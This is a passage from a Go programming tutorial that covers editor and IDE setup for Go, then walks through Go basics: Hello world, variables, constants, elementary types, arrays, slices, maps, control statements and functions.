    (local-set-key "\M-a" 'outline-previous-visible-heading)
    (local-set-key "\M-e" 'outline-next-visible-heading)
    ;; Menu bar
    (require 'easymenu)
    (defconst go-hooked-menu
        '("Go tools"
        ["Go run buffer" go t]
        ["Go reformat buffer" go-fmt-buffer t]
        ["Go check buffer" go-fix-buffer t]))
    (easy-menu-define
        go-added-menu
        (current-local-map)
        "Go tools"
        go-hooked-menu)

    ;; Other
    (setq show-trailing-whitespace t)
    ))
;; helper function
(defun go ()
    "run current buffer"
    (interactive)
    (compile (concat "go run " (buffer-file-name))))

;; helper function
(defun go-fmt-buffer ()
    "run gofmt on current buffer"
    (interactive)
    (if buffer-read-only
    (progn
        (ding)
        (message "Buffer is read only"))
    (let ((p (line-number-at-pos))
    (filename (buffer-file-name))
    (old-max-mini-window-height max-mini-window-height))
        (show-all)
        (if (get-buffer "*Go Reformat Errors*")
    (progn
        (delete-windows-on "*Go Reformat Errors*")
        (kill-buffer "*Go Reformat Errors*")))
        (setq max-mini-window-height 1)
        (if (= 0 (shell-command-on-region (point-min) (point-max) "gofmt" "*Go Reformat Output*" nil "*Go Reformat Errors*" t))
    (progn
        (erase-buffer)
        (insert-buffer-substring "*Go Reformat Output*")
        (goto-char (point-min))
        (forward-line (1- p)))
    (with-current-buffer "*Go Reformat Errors*"
    (progn
        (goto-char (point-min))
        (while (re-search-forward "<standard input>" nil t)
        (replace-match filename))
        (goto-char (point-min))
        (compilation-mode))))
        (setq max-mini-window-height old-max-mini-window-height)
        (delete-windows-on "*Go Reformat Output*")
        (kill-buffer "*Go Reformat Output*"))))
;; helper function
(defun go-fix-buffer ()
    "run gofix on current buffer"
    (interactive)
    (show-all)
    (shell-command-on-region (point-min) (point-max) "go tool fix -diff"))


	Congratulations, you’re done! Speedbar is closed by default -remove the comment symbols in the line ;;(speedbar 1) to enable this feature, or you can use it through M-x speedbar.








101.5 Eclipse

Eclipse is also a great development tool. I’ll show you how to use it to write Go programs.
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Figure 1.1 Eclipse main panel for editing Go


	Download and install Eclipse

	Download goclipse

http://code.google.com/p/goclipse/wiki/InstallationInstructions

	Download gocode

gocode in Github.

https://github.com/nsf/gocode

You need to install git in Windows, usually we use msysgit

Install gocode in the command tool

go get -u github.com/nsf/gocode

You can install from source code if you like.

	Download and install MinGW

	Configure plugins.

Windows->Preferences->Go

(1).Configure Go compiler
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Figure 1.12 Go Setting in Eclipse

(2).Configure gocode(optional), set gocode path to where the gocode.exe is.

[image: ]

Figure 1.13 gocode Setting

(3).Configure gdb(optional), set gdb path to where the gdb.exe is.
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Figure 1.14 gdb Setting

	Check the installation

Create a new Go project and hello.go file as following.

[image: ]

Figure 1.15 Create a new project and file

Test installation as follows.(you need to type command in console in Eclipse)

[image: ]

Figure 1.16 Test Go program in Eclipse








101.6 IntelliJ IDEA

People who have worked with Java should be familiar with this IDE. It supports Go syntax highlighting and intelligent code completion, implemented by a plugin.


	Download IDEA, there is no difference between the Ultimate and Community editions
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	Install the Go plugin. Choose File - Setting - Plugins, then click Browser repo.
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	Search golang, double click download and install and wait for the download to complete.

[image: ]

Click Apply, then restart.

	Now you can create a Go project.

[image: ]

Input the position of your Go sdk in the next step -basically it’s your $GOROOT.




( See a blog post for setup and use IntelliJ IDEA with Go step by step  )





101.7 Visual Studio VSCode

This is an awesome text editor released as open source cross platform my Microsoft which takes the development experience to a whole new level, https://code.visualstudio.com/. It has everything a modern text editor is expected to have and despite being based on the same backend that atom.io is based, it is very fast.

It works with Windows, Mac, Linux. It has go package built, it provides code linting.





101.8 Atom

Atom is an awesome text editor released as open source cross platform, built on Electron , and based on everything we love about our favorite editors. We designed it to be deeply customizable, but still approachable using the default configuration.

Download: https://atom.io/





101.9 Gogland

Gogland is the codename for a new commercial IDE by JetBrains aimed at providing an ergonomic environment for Go development.

The official version is not yet released。

Download:https://www.jetbrains.com/go/





101.10 Links


	Directory

	Previous section: Go commands

	Next section: Summary







102 1.5 Summary

In this chapter, we talked about how to install Go using three different methods including from source code, the standard package and via third-party tools. Then we showed you how to configure the Go development environment, mainly covering how to setup your $GOPATH. After that, we introduced some steps for compiling and deploying Go programs. We then covered Go commands, including the compile, install, format and test commands. Finally, there are many powerful tools to develop Go programs such as LiteIDE, Sublime Text, VSCode, Atom, Goglang, Vim, Emacs, Eclipse, IntelliJ IDEA, etc. You can choose any one you like exploring the world of Go.





102.1 Links


	Directory

	Previous section: Go development tools

	Next chapter: Go basic knowledge







103 2 Go basic knowledge

Go is a compiled system programming language, and it belongs to the C-family. However, its compilation speed is much faster than other C-family languages. It has only 25 keywords… even less than the 26 letters of the English alphabet! Let’s take a look at these keywords before we get started.

break    default      func    interface    select
case     defer        go      map          struct
chan     else         goto    package      switch
const    fallthrough  if      range        type
continue for          import  return       var

In this chapter, I’m going to teach you some basic Go knowledge. You will find out how concise the Go programming language is, and the beautiful design of the language. Programming can be very fun in Go. After we complete this chapter, you’ll be familiar with the above keywords.





103.1 Links


	Directory

	Previous chapter: Chapter 1 Summary

	Next section: “Hello, Go”







103.2 What makes Go different from other languages?

The Go programming language was created with one goal in mind, to be able to build scalable web-applications for large scale audiences in a large team. So that is the reason they made the language as standardized as possible, hence the gofmt tool and the strict usage guidelines to the language was for the sake of not having two factions in the developer base, in other languages there are religious wars on where to keep the opening brace?


    public static void main() {

    }

    or
    public static void main()
    {

    }


or for python should we use 4 spaces or 6 spaces or a tab or two tabs and other user preferences. If you know python then you might be aware of PEP8, which is a set of guidelines about how to write elegant code.

While this might seem to be a shallow problem, when the codebase grows and more and more people work on the same code base it is becomes increasingly difficult to maintain the code’s “beauty.” We live in a world where robots can drive a car, so we shouldn’t just write code, we should write elegant code.

For other languages there are many variables when it comes to writing code. Every language is good for its use case, but Go is a little special because it was designed at a company which is the very synonym of the Internet (and distributed computing). Typically in order to optimize programs, developers choose to write Java over Python and C++ over Java, but almost all available languages widely in use were written decades ago when 1GB storage was much pricier. Now storage and computing is relatively cheap and computers are getting multiples cores, but the “old languages” are not harnessing concurrency in a way that go does. It’s not because those languages are bad; utilizing concurrency wasn’t a relevant usecase while the older languages evolved.

To mitigate all the problems that Google faced with current tools, they wrote a systems language called Go which you are about to learn! There are many advantages to using golang and there are disadvantages too, for every coin has both sides. One of the significant improvements is in code formatting. Google has designed the language to avoid debates on code formatting. Go code written by anyone in the world (assuming they know and use gofmt) will look exactly the same. This won’t seem to matter until you work in a team! Also when the company uses automated code review or some other fancy technique, the formatted code may break in other languages which don’t have strict and standard formatting rules, but not in go!

Go was designed with concurrency in mind, please note that parallelism != concurrency, there is an amazing post by Rob Pike on the golang blog, you will find it there, it is worth a read.

Another very important change that is the concept of GOPATH. Gone are the days when you had to create a folder called code and then create workspaces for eclipse and what not. Now you have to keep one folder tree for go code which will be updated by the package manager automatically. It is also recommended to create folders with either a custom domain or the github domain, for example I created a task manager using golang so I created a set of folders

~/go/src/github.com/thewhitetulip/Tasks

Note: In *nix systems ~ stands for home directory, which is the windows equivalent of C:\\Users\\username.

Now the ~/go/ is the universe for the gocode in your machine. This is a significant improvement over other languages; we can store the code efficiently without hassles. While it might seem strange at first, this approach make a lot of sense than the ridiculous package names, i.e. package names generated for other languages using reverse domains.

Note: Along with src there are two folders pkg which is for packages and bin which is for binary.

This GOPATH advantage isn’t just restricted to storing code in particular folder. When you have created five packages for your project, you don’t have to import them like "import ./db". Instead you can use import "github.com/thewhitetulip/Tasks/db" so that when executing go get on my repo, the go tool will find the package from github.com/... path if it wasn’t downloaded initially. This standardizes a lot of screwed up things in the programming discipline. (<– To remove and replace with actual explanation of why this is better)

While there may be some founded complaints that go creators have ignored all language research done since the past 30yrs, you cannot create a product or a language which everyone will fall in love with. There are always some or the other use cases or constraints which the creators should consider. Considering all the advantages at least for web development I do not think any language gets close to the advantages which go has even if you ignore all that I said above. Go is a compiled language which means in production, you won’t have to setup a JVM or a virtualenv and will instead have a single static binary! Like an icing on a cake, all the modern libraries are in the standard library, such as the http lib, allowing you to create webapps in golang without using a third party web framework.





104 2.1 Hello, Go

Before we start building an application in Go, we need to learn how to write a simple program. You can’t expect to build a building without first knowing how to build its foundation. Therefore, we are going to learn the basic syntax to run some simple programs in this section.





104.1 Program

According to international practice, before you learn how to program in some languages, you will want to know how to write a program to print “Hello world”.

Are you ready? Let’s Go!

    package main

    import "fmt"

    func main() {
        fmt.Printf("Hello, world or 你好，世界 or Καλημέρα κόσμε or こんにちは世界\n")
    }


It prints following information.

Hello, world or 你好，世界 or Καλημέρα κόσμε or こんにちは世界





104.2 Explanation

One thing that you should know in the first is that Go programs are composed by package.

package <pkgName> (In this case is package main) tells us this source file belongs to main package, and the keyword main tells us this package will be compiled to a program instead of package files whose extensions are .a.

Every executable program has one and only one main package, and you need an entry function called main without any arguments or return values in the main package.

In order to print Hello, world…, we called a function called Printf. This function is coming from fmt package, so we import this package in the third line of source code, which is import "fmt"

The way to think about packages in Go is similar to Python, and there are some advantages: Modularity (break up your program into many modules) and reusability (every module can be reused in many programs). We just talked about concepts regarding packages, and we will make our own packages later.

On the fifth line, we use the keyword func to define the main function. The body of the function is inside of {}, just like C, C++ and Java.

As you can see, there are no arguments. We will learn how to write functions with arguments in just a second, and you can also have functions that have no return value or have several return values.

On the sixth line, we called the function Printf which is from the package fmt. This was called by the syntax <pkgName>.<funcName>, which is very like Python-style.

As we mentioned in chapter 1, the package’s name and the name of the folder that contains that package can be different. Here the <pkgName> comes from the name in package <pkgName>, not the folder’s name.

You may notice that the example above contains many non-ASCII characters. The purpose of showing this is to tell you that Go supports UTF-8 by default. You can use any UTF-8 character in your programs.

Each go file is in some package, and that package should be a distinct folder in the GOPATH, but main is a special package which doesn’t require a main folder. This is one aspect which they left out for standardization! But should you choose to make a main folder then you have to ensure that you run the binary properly. Also one go code can’t have more than one main go file.

~/go/src/github.com/thewhitetulip/Tasks/main $ go build

~/go/src/github.com/thewhitetulip/Tasks $ ./main/main

the thing here is that when your code is using some static files or something else, then you ought to run the binary from the root of the application as we see in the second line above, I am running the main binary outside the main package, sometimes you might wonder why your application isn’t working then this might be one of the possible problems, please keep this in mind.

One thing you will notice here is that go doesn’t see to use semi colons to end a statement, well, it does, just there is a minor catch, the programmer isn’t expected to put semi colons, the compiler adds semi colons to the gocode when it compiles which is the reason that this (thankfully!) is a syntax error

    func main ()
    {
    }


because the compiler adds a semi colon at the end of main() which is a syntax error and as stated above, it helps avoid religious wars, i wish they combine vim and emacs and create a universal editor which’ll help save some more wars! But for now we’ll learn Go.





104.3 Conclusion

Go uses package (like modules in Python) to organize programs. The function main.main() (this function must be in the main package) is the entry point of any program. Go standardizes language and most of the programming methodology, saving time of developers which they’d have wasted in religious wars. There can be only one main package and only one main function inside a go main package. Go supports UTF-8 characters because one of the creators of Go is a creator of UTF-8, so Go has supported multiple languages from the time it was born.





104.4 Links


	Directory

	Previous section: Go basic knowledge

	Next section: Go foundation







105 2.2 Go foundation

In this section, we are going to teach you how to define constants, variables with elementary types and some skills in Go programming.





105.1 Define variables

There are many forms of syntax that can be used to define variables in Go.

The keyword var is the basic form to define variables, notice that Go puts the variable type after the variable name.

// define a variable with name “variableName” and type "type"
var variableName type


Define multiple variables.

// define three variables which types are "type"
var vname1, vname2, vname3 type


Define a variable with initial value.

// define a variable with name “variableName”, type "type" and value "value"
var variableName type = value


Define multiple variables with initial values.

/*
    Define three variables with type "type", and initialize their values.
    vname1 is v1, vname2 is v2, vname3 is v3
*/
var vname1, vname2, vname3 type = v1, v2, v3


Do you think that it’s too tedious to define variables use the way above? Don’t worry, because the Go team has also found

this to be a problem. Therefore if you want to define variables with initial values, we can just omit the variable type,

so the code will look like this instead:

/*
    Define three variables without type "type", and initialize their values.
    vname1 is v1，vname2 is v2，vname3 is v3
*/
var vname1, vname2, vname3 = v1, v2, v3


Well, I know this is still not simple enough for you. Let’s see how we fix it.

/*
    Define three variables without type "type" and without keyword "var", and initialize their values.
    vname1 is v1，vname2 is v2，vname3 is v3
*/
vname1, vname2, vname3 := v1, v2, v3


Now it looks much better. Use := to replace var and type, this is called a short assignment. It has one limitation: this form can only be used inside of a functions. You will get compile errors if you try to use it outside of function bodies. Therefore, we usually use var to define global variables.

_ (blank) is a special variable name. Any value that is given to it will be ignored. For example, we give 35 to b, and discard 34.( This example just show you how it works. It looks useless here because we often use this symbol when we get function return values. )

_, b := 34, 35


If you don’t use variables that you’ve defined in your program, the compiler will give you compilation errors. Try to compile the following code and see what happens.

package main

func main() {
    var i int
}






105.2 Constants

So-called constants are the values that are determined during compile time and you cannot change them during runtime. In Go, you can use number, boolean or string as types of constants.

Define constants as follows.

const constantName = value
// you can assign type of constants if it's necessary
const Pi float32 = 3.1415926


More examples.

const Pi = 3.1415926
const i = 10000
const MaxThread = 10
const prefix = "astaxie_"






105.3 Elementary types





105.3.1 Boolean

In Go, we use bool to define a variable as boolean type, the value can only be true or false, and false will be the default value. ( You cannot convert variables’ type between number and boolean! )

// sample code
var isActive bool  // global variable
var enabled, disabled = true, false  // omit type of variables

func test() {
    var available bool  // local variable
    valid := false      // brief statement of variable
    available = true    // assign value to variable
}






105.3.2 Numerical types

Integer types include both signed and unsigned integer types. Go has int and uint at the same time, they have same length, but specific length depends on your operating system. They use 32-bit in 32-bit operating systems, and 64-bit in 64-bit operating systems. Go also has types that have specific length including rune, int8, int16, int32, int64, byte, uint8, uint16, uint32, uint64. Note that rune is alias of int32 and byte is alias of uint8.

One important thing you should know that you cannot assign values between these types, this operation will cause compile errors.

var a int8

var b int32

c := a + b


Although int32 has a longer length than int8, and has the same type as int, you cannot assign values between them. ( c will be asserted as type int here )

Float types have the float32 and float64 types and no type called float. The latter one is the default type if using brief statement.

That’s all? No! Go supports complex numbers as well. complex128 (with a 64-bit real and 64-bit imaginary part) is the default type, if you need a smaller type, there is one called complex64 (with a 32-bit real and 32-bit imaginary part). Its form is RE+IMi, where RE is real part and IM is imaginary part, the last i is the imaginary number. There is a example of complex number.

var c complex64 = 5+5i
//output: (5+5i)
fmt.Printf("Value is: %v", c)






105.3.3 String

We just talked about how Go uses the UTF-8 character set. Strings are represented by double quotes "" or backticks ``.

// sample code
var frenchHello string  // basic form to define string
var emptyString string = ""  // define a string with empty string
func test() {
    no, yes, maybe := "no", "yes", "maybe"  // brief statement
    japaneseHello := "Ohaiou"
    frenchHello = "Bonjour"  // basic form of assign values
}


It’s impossible to change string values by index. You will get errors when you compile the following code.

var s string = "hello"
s[0] = 'c'


What if I really want to change just one character in a string? Try the following code.

s := "hello"
c := []byte(s)  // convert string to []byte type
c[0] = 'c'
s2 := string(c)  // convert back to string type
fmt.Printf("%s\n", s2)


You use the + operator to combine two strings.

s := "hello,"
m := " world"
a := s + m
fmt.Printf("%s\n", a)


and also.

s := "hello"
s = "c" + s[1:] // you cannot change string values by index, but you can get values instead.
fmt.Printf("%s\n", s)


What if I want to have a multiple-line string?

m := `hello
    world`


` will not escape any characters in a string.





105.3.4 Error types

Go has one error type for purpose of dealing with error messages. There is also a package called errors to handle errors.

err := errors.New("emit macho dwarf: elf header corrupted")
if err != nil {
    fmt.Print(err)
}






105.3.5 Underlying data structure

The following picture comes from an article about Go data structure in Russ Cox’s Blog. As you can see, Go utilizes blocks of memory to store data.

[image: ]

Figure 2.1 Go underlying data structure





105.4 Some skills





105.4.1 Define by group

If you want to define multiple constants, variables or import packages, you can use the group form.

Basic form.

import "fmt"
import "os"

const i = 100
const pi = 3.1415
const prefix = "Go_"

var i int
var pi float32
var prefix string


Group form.

import(
    "fmt"
    "os"
)

const(
    i = 100
    pi = 3.1415
    prefix = "Go_"
)

var(
    i int
    pi float32
    prefix string
)


Unless you assign the value of constant is iota, the first value of constant in the group const() will be 0. If following constants don’t assign values explicitly, their values will be the same as the last one. If the value of last constant is iota, the values of following constants which are not assigned are iota also.





105.4.2 iota enumerate

Go has one keyword called iota, this keyword is to make enum, it begins with 0, increased by 1.

const(
    x = iota  // x == 0
    y = iota  // y == 1
    z = iota  // z == 2
    w  // If there is no expression after the constants name, it uses the last expression,
    //so it's saying w = iota implicitly. Therefore w == 3, and y and z both can omit "= iota" as well.
)

const v = iota // once iota meets keyword `const`, it resets to `0`, so v = 0.

const (
  e, f, g = iota, iota, iota // e=0,f=0,g=0 values of iota are same in one line.
)






105.4.3 Some rules

The reason that Go is concise because it has some default behaviors.


	Any variable that begins with a capital letter means it will be exported, private otherwise.

	The same rule applies for functions and constants, no public or private keyword exists in Go.







105.5 array, slice, map





105.5.1 array

array is an array obviously, we define one as follows.

var arr [n]type


in [n]type, n is the length of the array, type is the type of its elements. Like other languages, we use [] to get or set element values within arrays.

var arr [10]int  // an array of type [10]int
arr[0] = 42      // array is 0-based
arr[1] = 13      // assign value to element
fmt.Printf("The first element is %d\n", arr[0])  
// get element value, it returns 42
fmt.Printf("The last element is %d\n", arr[9])
//it returns default value of 10th element in this array, which is 0 in this case.


Because length is a part of the array type, [3]int and [4]int are different types, so we cannot change the length of arrays. When you use arrays as arguments, functions get their copies instead of references! If you want to use references, you may want to use slice. We’ll talk about later.

It’s possible to use := when you define arrays.

a := [3]int{1, 2, 3} // define an int array with 3 elements

b := [10]int{1, 2, 3}
// define a int array with 10 elements, of which the first three are assigned.
//The rest of them use the default value 0.

c := [...]int{4, 5, 6} // use `…` to replace the length parameter and Go will calculate it for you.


You may want to use arrays as arrays’ elements. Let’s see how to do this.

// define a two-dimensional array with 2 elements, and each element has 4 elements.
doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}}

// The declaration can be written more concisely as follows.
easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}}


Array underlying data structure.

[image: ]

Figure 2.2 Multidimensional array mapping relationship





105.5.2 slice

In many situations, the array type is not a good choice -for instance when we don’t know how long the array will be when we define it. Thus, we need a “dynamic array”. This is called slice in Go.

slice is not really a dynamic array. It’s a reference type. slice points to an underlying array whose declaration is similar to array, but doesn’t need length.

// just like defining an array, but this time, we exclude the length.
var fslice []int


Then we define a slice, and initialize its data.

slice := []byte {'a', 'b', 'c', 'd'}


slice can redefine existing slices or arrays. slice uses array[i:j] to slice, where i is

the start index and j is end index, but notice that array[j] will not be sliced since the length

of the slice is j-i.

// define an array with 10 elements whose types are bytes
var ar = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}

// define two slices with type []byte
var a, b []byte

// 'a' points to elements from 3rd to 5th in array ar.
a = ar[2:5]
// now 'a' has elements ar[2],ar[3] and ar[4]

// 'b' is another slice of array ar
b = ar[3:5]
// now 'b' has elements ar[3] and ar[4]


Notice the differences between slice and array when you define them. We use […] to let Go

calculate length but use [] to define slice only.

Their underlying data structure.
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Figure 2.3 Correspondence between slice and array

slice has some convenient operations.


	slice is 0-based, ar[:n] equals to ar[0:n]

	The second index will be the length of slice if omitted, ar[n:] equals to ar[n:len(ar)].

	You can use ar[:] to slice whole array, reasons are explained in first two statements.



More examples pertaining to slice

// define an array
var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
// define two slices
var aSlice, bSlice []byte

// some convenient operations
aSlice = array[:3] // equals to aSlice = array[0:3] aSlice has elements a,b,c
aSlice = array[5:] // equals to aSlice = array[5:10] aSlice has elements f,g,h,i,j
aSlice = array[:]  // equals to aSlice = array[0:10] aSlice has all elements

// slice from slice
aSlice = array[3:7]  // aSlice has elements d,e,f,g，len=4，cap=7
bSlice = aSlice[1:3] // bSlice contains aSlice[1], aSlice[2], so it has elements e,f
bSlice = aSlice[:3]  // bSlice contains aSlice[0], aSlice[1], aSlice[2], so it has d,e,f
bSlice = aSlice[0:5] // slice could be expanded in range of cap, now bSlice contains d,e,f,g,h
bSlice = aSlice[:]   // bSlice has same elements as aSlice does, which are d,e,f,g


slice is a reference type, so any changes will affect other variables pointing to the same slice or array.

For instance, in the case of aSlice and bSlice above, if you change the value of an element in aSlice,

bSlice will be changed as well.

slice is like a struct by definition and it contains 3 parts.


	A pointer that points to where slice starts.

	The length of slice.

	Capacity, the length from start index to end index of slice.

Array_a := [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
Slice_a := Array_a[2:5]


The underlying data structure of the code above as follows.
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Figure 2.4 Array information of slice

There are some built-in functions for slice.


	len gets the length of slice.

	cap gets the maximum length of slice

	append appends one or more elements to slice, and returns slice .

	copy copies elements from one slice to the other, and returns the number of elements that were copied.



Attention: append will change the array that slice points to, and affect other slices that point to the same array.

Also, if there is not enough length for the slice ((cap-len) == 0), append returns a new array for this slice. When

this happens, other slices pointing to the old array will not be affected.





105.5.3 map

map behaves like a dictionary in Python. Use the form map[keyType]valueType to define it.

Let’s see some code. The ‘set’ and ‘get’ values in map are similar to slice, however the index in slice can only be

of type ‘int’ while map can use much more than that: for example int, string, or whatever you want. Also, they are

all able to use == and != to compare values.

// use string as the key type, int as the value type, and `make` initialize it.
var numbers map[string] int
// another way to define map
numbers := make(map[string]int)
numbers["one"] = 1  // assign value by key
numbers["ten"] = 10
numbers["three"] = 3

fmt.Println("The third number is: ", numbers["three"]) // get values
// It prints: The third number is: 3


Some notes when you use map.


	map is disorderly. Everytime you print map you will get different results. It’s impossible to get values by index -you have to use key.

	map doesn’t have a fixed length. It’s a reference type just like slice.

	len works for map also. It returns how many keys that map has.

	It’s quite easy to change the value through map. Simply use numbers["one"]=11 to change the value of key one to 11.



You can use form key:val to initialize map’s values, and map has built-in methods to check if the key exists.

Use delete to delete an element in map.

// Initialize a map
rating := map[string]float32 {"C":5, "Go":4.5, "Python":4.5, "C++":2 }
// map has two return values. For the second return value, if the key doesn't
//exist，'ok' returns false. It returns true otherwise.
csharpRating, ok := rating["C#"]
if ok {
    fmt.Println("C# is in the map and its rating is ", csharpRating)
} else {
    fmt.Println("We have no rating associated with C# in the map")
}

delete(rating, "C")  // delete element with key "c"


As I said above, map is a reference type. If two maps point to same underlying data,

any change will affect both of them.

m := make(map[string]string)
m["Hello"] = "Bonjour"
m1 := m
m1["Hello"] = "Salut"  // now the value of m["hello"] is Salut






105.5.4 make, new

make does memory allocation for built-in models, such as map, slice, and channel, while new is for types’

memory allocation.

new(T) allocates zero-value to type T’s memory, returns its memory address, which is the value of type *T. By Go’s

definition, it returns a pointer which points to type T’s zero-value.

new returns pointers.

The built-in function make(T, args) has different purposes than new(T). make can be used for slice, map,

and channel, and returns a type T with an initial value. The reason for doing this is because the underlying data of

these three types must be initialized before they point to them. For example, a slice contains a pointer that points to

the underlying array, length and capacity. Before these data are initialized, slice is nil, so for slice, map

and channel, make initializes their underlying data and assigns some suitable values.

make returns non-zero values.

The following picture shows how new and make are different.

[image: ]

Figure 2.5 Underlying memory allocation of make and new

Zero-value does not mean empty value. It’s the value that variables default to in most cases. Here is a list of some zero-values.

int     0
int8    0
int32   0
int64   0
uint    0x0
rune    0 // the actual type of rune is int32
byte    0x0 // the actual type of byte is uint8
float32 0 // length is 4 byte
float64 0 //length is 8 byte
bool    false
string  ""






105.6 Links


	Directory

	Previous section: “Hello, Go”

	Next section: Control statements and functions







106 2.3 Control statements and functions

In this section, we are going to talk about control statements and function operations in Go.





106.1 Control statement

The greatest invention in programming is flow control. Because of them, you are able to use simple control statements that can be used to represent complex logic. There are three categories of flow control: conditional, cycle control and unconditional jump.





106.1.1 if

if will most likely be the most common keyword in your programs. If it meets the conditions, then it does something and it does something else if not.

if doesn’t need parentheses in Go.

if x > 10 {
    fmt.Println("x is greater than 10")
} else {
    fmt.Println("x is less than or equal to 10")
}


The most useful thing concerning if in Go is that it can have one initialization statement before the conditional statement. The scope of the variables defined in this initialization statement are only available inside the block of the defining if.

// initialize x, then check if x greater than
if x := computedValue(); x > 10 {
    fmt.Println("x is greater than 10")
} else {
    fmt.Println("x is less than 10")
}

// the following code will not compile
fmt.Println(x)


Use if-else for multiple conditions.

if integer == 3 {
    fmt.Println("The integer is equal to 3")
} else if integer < 3 {
    fmt.Println("The integer is less than 3")
} else {
    fmt.Println("The integer is greater than 3")
}






106.1.2 goto

Go has a goto keyword, but be careful when you use it. goto reroutes the control flow to a previously defined label within the body of same code block.

func myFunc() {
    i := 0
Here:   // label ends with ":"
    fmt.Println(i)
    i++
    goto Here   // jump to label "Here"
}


The label name is case sensitive.





106.1.3 for

for is the most powerful control logic in Go. It can read data in loops and iterative operations, just like while.

for expression1; expression2; expression3 {
    //...
}


expression1, expression2 and expression3 are all expressions, where expression1 and expression3 are variable definitions or return values from functions, and expression2 is a conditional statement. expression1 will be executed once before looping, and expression3 will be executed after each loop.

Examples are more useful than words.

package main

import "fmt"

func main(){
    sum := 0;
    for index:=0; index < 10 ; index++ {
        sum += index
    }
    fmt.Println("sum is equal to ", sum)
}
// Print：sum is equal to 45


Sometimes we need multiple assignments, but Go doesn’t have the , operator, so we use parallel assignment like i, j = i + 1, j - 1.

We can omit expression1 and expression3 if they are not necessary.

sum := 1
for ; sum < 1000;  {
    sum += sum
}


Omit ; as well. Feel familiar? Yes, it’s identical to while.

sum := 1
for sum < 1000 {
    sum += sum
}


There are two important operations in loops which are break and continue. break jumps out of the loop, and continue skips the current loop and starts the next one. If you have nested loops, use break along with labels.

for index := 10; index>0; index-- {
    if index == 5{
        break // or continue
    }
    fmt.Println(index)
}
// break prints 10、9、8、7、6
// continue prints 10、9、8、7、6、4、3、2、1


for can read data from array, slice, map and string when it is used together with range.

for k,v := range map {
    fmt.Println("map's key:",k)
    fmt.Println("map's val:",v)
}


Because Go supports multi-value returns and gives compile errors when you don’t use values that were defined, you may want to use _ to discard certain return values.

for _, v := range map{
    fmt.Println("map's val:", v)
}


With go you can as well create an infinite loop, which is equivalent to while true { ... } in other languges.

for {
  // your logic
}






106.1.4 switch

Sometimes you may find that you are using too many if-else statements to implement some logic, which may make it difficult to read and maintain in the future. This is the perfect time to use the switch statement to solve this problem.

switch sExpr {
case expr1:
    some instructions
case expr2:
    some other instructions
case expr3:
    some other instructions
default:
    other code
}


The type of sExpr, expr1, expr2, and expr3 must be the same. switch is very flexible. Conditions don’t have to be constants and it executes from top to bottom until it matches conditions. If there is no statement after the keyword switch, then it matches true.

i := 10
switch i {
case 1:
    fmt.Println("i is equal to 1")
case 2, 3, 4:
    fmt.Println("i is equal to 2, 3 or 4")
case 10:
    fmt.Println("i is equal to 10")
default:
    fmt.Println("All I know is that i is an integer")
}


In the fifth line, we put many values in one case, and we don’t need to add the break keyword at the end of case’s body. It will jump out of the switch body once it matched any case. If you want to continue to matching more cases, you need to use thefallthrough statement.

integer := 6
switch integer {
case 4:
    fmt.Println("integer <= 4")
    fallthrough
case 5:
    fmt.Println("integer <= 5")
    fallthrough
case 6:
    fmt.Println("integer <= 6")
    fallthrough
case 7:
    fmt.Println("integer <= 7")
    fallthrough
case 8:
    fmt.Println("integer <= 8")
    fallthrough
default:
    fmt.Println("default case")
}


This program prints the following information.

integer <= 6
integer <= 7
integer <= 8
default case






106.2 Functions

Use the func keyword to define a function.

func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) {
    // function body
    // multi-value return
    return value1, value2
}


We can extrapolate the following information from the example above.


	Use keyword func to define a function funcName.

	Functions have zero, one or more than one arguments. The argument type comes after the argument name and arguments are separated by ,.

	Functions can return multiple values.

	There are two return values named output1 and output2, you can omit their names and use their type only.

	If there is only one return value and you omitted the name, you don’t need brackets for the return values.

	If the function doesn’t have return values, you can omit the return parameters altogether.

	If the function has return values, you have to use the return statement somewhere in the body of the function.



Let’s see one practical example. (calculate maximum value)

package main

import "fmt"

// return greater value between a and b
func max(a, b int) int {
    if a > b {
        return a
    }
    return b
}

func main() {
    x := 3
    y := 4
    z := 5

    max_xy := max(x, y) // call function max(x, y)
    max_xz := max(x, z) // call function max(x, z)

    fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy)
    fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz)
    fmt.Printf("max(%d, %d) = %d\n", y, z, max(y, z)) // call function here
}


In the above example, there are two arguments in the function max, their types are both int so the first type can be omitted. For instance, a, b int instead of a int, b int. The same rules apply for additional arguments. Notice here that max only has one return value, so we only need to write the type of its return value -this is the short form of writing it.





106.2.1 Multi-value return

One thing that Go is better at than C is that it supports multi-value returns.

We’ll use the following example here.

package main

import "fmt"

// return results of A + B and A * B
func SumAndProduct(A, B int) (int, int) {
    return A + B, A * B
}

func main() {
    x := 3
    y := 4

    xPLUSy, xTIMESy := SumAndProduct(x, y)

    fmt.Printf("%d + %d = %d\n", x, y, xPLUSy)
    fmt.Printf("%d * %d = %d\n", x, y, xTIMESy)
}


The above example returns two values without names -you have the option of naming them also. If we named the return values, we would just need to use return to return the values since they are initialized in the function automatically. Notice that if your functions are going to be used outside of the package, which means your function names start with a capital letter, you’d better write complete statements for return; it makes your code more readable.

func SumAndProduct(A, B int) (add int, multiplied int) {
    add = A+B
    multiplied = A*B
    return
}






106.2.2 Variadic functions

Go supports functions with a variable number of arguments. These functions are called “variadic”, which means the function allows an uncertain numbers of arguments.

func myfunc(arg ...int) {}


arg …int tells Go that this is a function that has variable arguments. Notice that these arguments are type int. In the body of function, the arg becomes a slice of int.

for _, n := range arg {
    fmt.Printf("And the number is: %d\n", n)
}






106.2.3 Pass by value and pointers

When we pass an argument to the function that was called, that function actually gets the copy of our variables so any change will not affect to the original variable.

Let’s see one example in order to prove what i’m saying.

package main

import "fmt"

// simple function to add 1 to a
func add1(a int) int {
    a = a + 1 // we change value of a
    return a  // return new value of a
}

func main() {
    x := 3

    fmt.Println("x = ", x) // should print "x = 3"

    x1 := add1(x) // call add1(x)

    fmt.Println("x+1 = ", x1) // should print "x+1 = 4"
    fmt.Println("x = ", x)    // should print "x = 3"
}


Can you see that? Even though we called add1 with x, the origin value of x doesn’t change.

